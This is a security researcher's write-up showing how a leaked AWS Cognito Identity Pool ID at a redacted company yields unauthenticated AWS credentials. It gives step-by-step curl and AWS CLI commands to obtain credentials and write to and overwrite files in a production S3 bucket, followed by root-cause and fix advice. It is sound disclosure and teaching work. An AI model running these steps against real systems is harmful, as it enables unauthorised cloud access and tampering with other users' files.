# What Can You Do With a Leaked Cognito Identity Pool ID?

Leaking a Cognito Identity Pool ID is often dismissed as a low-impact information disclosure. But when the IAM policy attached to the unauthenticated role is misconfigured, that "low-impact" leak becomes a direct path into the cloud infrastructure.

## What is AWS Cognito Identity Pool?

AWS Cognito Identity Pools allow applications to grant users temporary AWS credentials, even **before they log in**. This is useful for mobile apps that need limited S3 access for things like uploading profile pictures without requiring a full authentication flow first.

The problem? Developers often configure overly permissive IAM policies for the "unauthenticated" role, assuming the Identity Pool ID itself is secret. It's not. These IDs frequently leak through:

* Public API responses (config endpoints, mobile app settings)
    
* JavaScript bundles and source maps
    
* Mobile app reverse engineering
    
* Error messages and debug logs
    

Once an attacker has the Identity Pool ID, they can request temporary AWS credentials directly from Cognito, no authentication required. What happens next depends entirely on what permissions that unauthenticated role has.

## The Discovery

I was mapping out the API surface of \[Redacted Corp\] when I noticed a config endpoint returning more than it should:

```http
GET /api/v1/config HTTP/2
Host: api.redacted-corp.com
```

Buried in the response:

```json
{
  "storage": {
    "bucket": "prod-redacted-uploads",
    "region": "us-east-1",
    "identity_pool": "us-east-1:a1b2c3d4-e5f6-7890-abcd-ef1234567890"
  }
}
```

A Cognito Identity Pool ID. Exposed. Unauthenticated.

## The Exploitation

### Step 1: Getting an Identity

```bash
curl -X POST "https://cognito-identity.us-east-1.amazonaws.com/" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -H "X-Amz-Target: AWSCognitoIdentityService.GetId" \
  -d '{"IdentityPoolId":"us-east-1:a1b2c3d4-e5f6-7890-abcd-ef1234567890"}'
```

```json
{
  "IdentityId": "us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}
```

### Step 2: Getting AWS Credentials

```bash
curl -X POST "https://cognito-identity.us-east-1.amazonaws.com/" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -H "X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity" \
  -d '{"IdentityId":"us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}'
```

```json
{
  "Credentials": {
    "AccessKeyId": "ASIAREDACTEDKEY...",
    "SecretKey": "RedactedSecretKey...",
    "SessionToken": "FwoGZXIvYXdzE..."
  },
  "IdentityId": "us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}
```

Valid AWS credentials. No authentication required.

### Step 3: Identifying the Role

```bash
aws sts get-caller-identity
```

```json
{
  "UserId": "AROAREDACTED:CognitoIdentityCredentials",
  "Account": "123456789012",
  "Arn": "arn:aws:sts::123456789012:assumed-role/Cognito_redacted_Unauth_Role/CognitoIdentityCredentials"
}
```

`Cognito_redacted_Unauth_Role` - the unauthenticated role. Now let's see what it can do.

### Step 4: Testing S3 Permissions

```bash
echo 'security test' > test.txt
aws s3 cp test.txt s3://prod-redacted-uploads/security-test.txt
```

```xml
upload: ./test.txt to s3://prod-redacted-uploads/security-test.txt
```

Write access to a production bucket. No auth. No session. Just an exposed Identity Pool ID.

## Escalating the Impact

Writing a test file proves the vulnerability exists. But what's the real-world impact?

### Overwriting Other Users' Files

I created two test accounts, Account A and Account B.

**Account A** uploaded a document through the normal application flow:

```xml
[UserID_A]_document.pdf
```

**Account B** obtained fresh Cognito credentials (unauthenticated) and overwrote Account A's file:

```bash
echo 'This file has been overwritten - security test' > malicious.pdf
aws s3 cp malicious.pdf s3://prod-redacted-uploads/[UserID_A]_document.pdf
```

```xml
upload: ./malicious.pdf to s3://prod-redacted-uploads/[UserID_A]_document.pdf
```

Logged back into Account A, downloaded the document &gt; got the overwritten file.

### Impact

With this access, an attacker could:

* **Replace documents with malicious files** - swap insurance claims with malware
    
* **Corrupt user data** - overwrite files to cause application errors
    
* **Inject content into workflows** - replace documents reviewed by staff
    
* **Denial of service** - mass-overwrite files across the platform
    

## Root Cause

1. **Exposed Configuration** - `/api/v1/config` leaked the Cognito Identity Pool ID publicly
    
2. **Unauthenticated Identities Enabled** - legitimate for some mobile use cases, dangerous when paired with bad IAM
    
3. **Overly Permissive IAM** - `s3:PutObject` on `arn:aws:s3:::prod-redacted-uploads/*` with no path restrictions
    

**Fix:**

* Remove identity pool ID from public responses
    
* Restrict IAM to user-specific prefixes: `uploads/${`[`cognito-identity.amazonaws.com`](http://cognito-identity.amazonaws.com)`:sub}/*`
    
* Server-side ownership validation on all file operations
    

## Takeaways

* **Config endpoints leak more than you think** - always check `/config`, `/settings`, `/health`, etc.
    
* **Cognito Identity Pool IDs are worth testing** - if unauth is enabled, you get free AWS creds
    
* **Don't stop at "I can write"** - proving cross-user impact turns medium into critical
    
* **IAM is hard** - `s3:PutObject` on `*` is more common than it should be
    

Happy hacking!

\-Hacktus
